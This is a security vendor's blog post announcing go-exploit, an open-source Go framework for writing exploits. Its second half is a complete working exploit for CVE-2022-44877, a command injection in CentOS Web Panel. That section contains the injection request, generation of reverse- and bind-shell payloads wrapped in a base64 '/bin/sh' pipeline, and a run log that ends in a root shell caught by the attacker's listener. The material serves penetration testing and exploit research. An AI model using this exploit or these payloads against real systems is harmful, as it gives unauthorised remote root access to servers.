Go back

Introducing go-exploit - An Exploit Framework for Go

avatar
Jacob Baines@Junior_Baines

VulnCheck is excited to announce the open-source release of our in-house exploit framework, go-exploit. Designed with simplicity and portability in mind, go-exploit empowers exploit developers to create compact, self-contained, and consistent exploits.

Many proof-of-concept exploits rely on interpreted languages with complicated packaging systems. They implement wildly differing user interfaces, and have limited ability to be executed within a target network. Some exploits are integrated into massive frameworks that are burdened by years of features and dependencies which overwhelm developers and hinder the attacker's ability to deploy the exploits from unconventional locations.

To overcome these challenges, go-exploit offers a lightweight framework with minimal dependencies, written in Go—a language renowned for its portability and cross-compilation capabilities. The framework strikes a balance between simplicity for rapid proof-of-concept development and the inclusion of sophisticated built-in features for operational use.

Key Features and Capabilities

  1. Cross-Platform Portability: Developed in Go, go-exploit offers seamless cross-platform compatibility. Whether you need to execute the exploit on Windows, Linux, macOS, or an embedded system, the framework ensures consistent functionality across different operating systems, thanks to Go's ability to compile to native executables.
  2. A Single Executable: Each exploit compiles down to a single native executable, free from external dependencies. Due to the design of the framework, unused (or unwanted) features are completely eliminated from the compiled binary.
  3. Defined Exploitation Stages: go-exploit introduces a structured approach to exploitation with three distinct stages: target validation, version checking, and exploitation. This clear separation allows exploit developers to focus on specific aspects of the exploit development process, enhancing efficiency and code organization.
  4. Consistent User Interface: The framework defines a flexible yet consistent user interface that abstracts away complexities, providing a streamlined experience for exploit developers and users.
  5. Builtin Command and Control: go-exploit includes built-in logic for establishing connections to bind shells or accepting encrypted or unencrypted reverse shells.
  6. Pre-defined Payloads: go-exploit comes with a collection of pre-created exploit payloads including traditional “lolbin” reverse shells and bind shells, as well as more complicated payloads like Java gadgets. go-exploit also contains all the infrastructure needed for exploiting JNDI LDAP issues (e.g. Log4Shell, CVE-2023-21839, etc).

Creating an Exploit with go-exploit

Developing a new exploit using go-exploit is designed to be a straightforward and efficient process. At a high level, the exploit developer only needs to create four essential functions:

  1. main(): This function is responsible for configuring the exploit type and defining the supported command and control options.
  2. ValidateTarget(): The purpose of this function is to validate that the target system meets the criteria of the intended victim.
  3. CheckVersion(): This function is used to confirm that the target system is a susceptible host by checking its version or specific characteristics.
  4. RunExploit(): In this function, the exploitation logic is implemented, enabling the actual exploitation of the target system.

To provide a starting point, a skeleton exploit follows the structure outlined below:

package main

import (
    "github.com/vulncheck-oss/go-exploit"
    "github.com/vulncheck-oss/go-exploit/c2"
    "github.com/vulncheck-oss/go-exploit/config"
)

type MyExploit struct{}

func (sploit MyExploit) ValidateTarget(conf *config.Config) bool {
    return false
}

func (sploit MyExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
    return exploit.NotImplemented
}

func (sploit MyExploit) RunExploit(conf *config.Config) bool {
    return true
}

func main() {
    supportedC2 := []c2.Impl{
     c2.SimpleShellServer,
     c2.SimpleShellClient,
    }
    conf := config.New(config.CodeExecution, supportedC2, "My Target", "CVE-2023-1270", 80)

    sploit := MyExploit{}
    exploit.RunProgram(sploit, conf)
}

To build the skeleton exploit, you'll need to create a go.mod and go.sum file for the project. This can be done using the go mod command. The following commands will download and validate the most recent version of go-exploit and create the necessary go.mod and go.sum files:

go mod init github.com/username/example
GO111MODULE=on go mod tidy

To compile the skeleton exploit, you can use a simple command like the one shown below:

GO111MODULE=on go build -o exploit ./main.go

Running this command will compile the skeleton exploit, and the resulting executable will be named exploit. If you want to customize the output filename, you can change the value after the -o flag.

Now that you have the instructions for setting up and compiling your go-exploit exploit, let's move on to a real example to further illustrate its usage.

A go-exploit for CVE-2022-44877

In this section, we will examine an example exploit for CVE-2022-44877 (CentOS Web Panel). CVE-2022-44877 is a trivial unauthenticated and remote command injection vulnerability so it’s great as a simple example. Let's start with the exploit's main() function:

func main() {
    supportedC2 := []c2.Impl{
     c2.SSLShellServer,
     c2.SimpleShellServer,
     c2.SimpleShellClient,
    }
    conf := config.New(config.CodeExecution, supportedC2, "CentOS Web Panel", "CVE-2022-44877", 2031)
    sploit := CWPInjection{}
    exploit.RunProgram(sploit, conf)
}

There are two important aspects in the main() function. First, the exploit informs the framework about the supported command and control variants. This particular exploit supports three variants:

  1. c2.SSLShellServer (default): An encrypted reverse shell.
  2. c2.SimpleShellServer: An unencrypted reverse shell.
  3. c2.SimpleShellClient: An unencrypted bind shell.

Additionally, the exploit specifies that it is a CodeExecution exploit, which means it will run code directly on the victim host. The exploit type affects the command line interface and determines which command and control options are supported. Refer to our documentation for information on other exploit types.

For this example, we will skip the ValidateTarget and CheckVersion functions (you can find their implementations in our GitHub examples), and instead, focus on the RunExploit function. It looks like this:

func (sploit CWPInjection) RunExploit(conf *config.Config) bool {
    generated, ok := generatePayload(conf)
    if !ok {
     return false
    }

    loginAttempt := map[string]string{
     "username": "%72%6f%6F%74", // root encoded
     "password": random.RandLetters(8),
     "commit":   "Login",
    }
    target := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/login/index.php")
    output.PrintSuccess("Sending exploit to " + target)

    // t=1 ET bypass
    resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", target+"?t=1&login="+generated, loginAttempt)
    if !ok {
     return false
    }

    if resp.StatusCode != 200 {
     output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)

     return false
    }
    output.PrintStatus("Done")

    return true
}

The RunExploit function generates the required payload using the generatePayload function and then constructs the HTTP request that triggers the payload execution. Here's the implementation of generatePayload:

func generatePayload(conf *config.Config) (string, bool) {
    generated := ""

    switch conf.C2Type {
    case c2.SSLShellServer:
     output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
     generated = payload.ReverseShellMknodOpenSSL(conf.Lhost, conf.Lport)
    case c2.SimpleShellServer:
     output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
     generated = payload.ReverseShellBash(conf.Lhost, conf.Lport)
    case c2.SimpleShellClient:
     output.PrintfStatus("Sending a bind shell for port %d", conf.Bport)
     generated = payload.BindShellMkfifoNetcat(conf.Bport)
    default:
     output.PrintError("Invalid payload")

     return "", false
    }

    payload64 := b64.StdEncoding.EncodeToString([]byte(generated))
    generated = "`echo${IFS}" + payload64 + "|base64${IFS}-d|/bin/sh`"

    return generated, true
}

Above, we can see the implementation of the payloads for the three supported command and control variants. In this example, each variant can utilize a predefined payload provided by the exploit framework.

Finally, the exploit can be executed against the target. The output might look like this:

albinolobster@mournland:~/go-exploit/examples/cve-2022-44877$ ./cve-2022-44877 -a -c -v -e -rhost 10.9.49.214 -lhost 10.9.49.186 -lport 1270
[*] Validating the remote target is a CentOS Web Panel installation
[+] Target validation succeeded!
[*] Running a version check on the remote target
[-] broken.jpg has been modified since April 3, 2022. This instance *might* be vulnerable.
[*] The target *might* be a vulnerable version. Continuing.
[*] Generating a TLS Certificate
[*] Starting TLS listener on 10.9.49.186:1270
[*] Sending an SSL reverse shell payload for port 10.9.49.186:1270
[+] Sending exploit to https://10.9.49.214:2031/login/index.php
[+] Caught new shell from 10.9.49.214:35868
[*] Active shell from 10.9.49.214:35868
$ whoami
sh: no job control in this shell
sh-4.2# whoami
root
$ pwd
pwd
/tmp
$

Conclusion

go-exploit provides a simple and efficient way to develop sophisticated and portable exploits. While there are several other existing exploit frameworks available, none offer the same experience as go-exploit. If you are interested in contributing to go-exploit or have feedback on your own experience developing exploits, we would love to hear from you! Visit go-exploit on GitHub to get involved.